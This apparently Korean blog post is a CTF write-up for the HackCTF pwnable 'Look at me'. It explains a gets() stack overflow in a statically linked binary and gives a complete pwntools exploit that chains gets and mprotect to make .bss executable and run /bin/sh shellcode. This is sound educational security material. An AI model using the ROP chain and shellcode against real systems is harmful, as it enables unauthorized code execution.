메로나

[HackCTF] Look at me (350) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] Look at me (350) write-up

m3r0n4 2020. 12. 19. 09:24

간만의 라이트업....!

1. 보호기법, 파일 체크

gef➤  checksec
[+] checksec for '/root/pwn/HackCTF/lookatme/lookatme'
Canary                        : 
NX                              :
PIE                              :
Fortify                        :
RelRO                        : Partial

 

  lookatme file lookatme
lookatme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=d2a1b10d006e4d6c4e84305383b4dc86481d87da, not stripped

 

statically linked에 주의하고 문제를 봐야됨.

 

2. Hex-Ray

메인이랑 문제가 되는 look_at_me 만 보면 아래와 같음

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  look_at_me();
  return 0;
}
int look_at_me()
{
  char v1; // [esp+0h] [ebp-18h]

  puts("Hellooooooooooooooooooooo");
  return gets(&v1);
}

걍 gets로 받으니까 오버플로우 터지는건 확인할 수 있는데 이걸 어떻게 이용하냐가 관건.

statically linked 되어있어서 system 함수도 Hoxy 하고 보니까 당연히 없음. 

그래서 어케해야하는지 고민하면서 라젠카를 계속 뒤져봤는데 "mmap, mprotect ROP" 라는게 있음.

그 중에서 내가 사용한게 mprotect인데 이 함수는 인자로 주어진 영역의 권한을 바꿀 수 있음. 다시 말하면 NX 안걸린곳에다가 쉘코드 박고 실행권한을 줄 수 있다는 뜻.

그래서 bss에다가 쉘코드 박아두고 mprotect로 인자 이리저리 줘서 bss에 있는 쉘코드 실행시키면 될 듯. mprotect에 인자 줄 때는 0x1000 단위로 줘야해서 bss영역 그냥 주지 말고 값 맞춰서 넣어주면 됨.

3. Exploit

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3017)
#p = process('./lookatme')
e = ELF('./lookatme')

gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
pr = 0x080483ca
pppr = 0x080483c8
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

payload = "A" * (0x18 + 4)
payload += p32(gets_addr)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect_addr)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)
payload += p32(bss)

p.sendline(payload)
p.sendline(shellcode)

p.interactive()

bss에 쉘코드 gets함수로 받아주고 mprotect 갖고와서 pppr로 인자 맞춰서 주고 bss로 ret 돌리면 쉘코드 실행됨.

'Wargame & CTF > Pwnable' 카테고리의 다른 글

[HackCTF] Pwning (300) write-up  (0) 2020.12.22
[HackCTF] Gift (250) write-up  (0) 2020.12.22
[HackCTF] RTL_Core (250) write-up  (0) 2020.10.19
[BalCCon2k20] mindgames_1336 write-up  (0) 2020.09.29
[HackCTF] Random Key (200) write-up  (0) 2020.09.01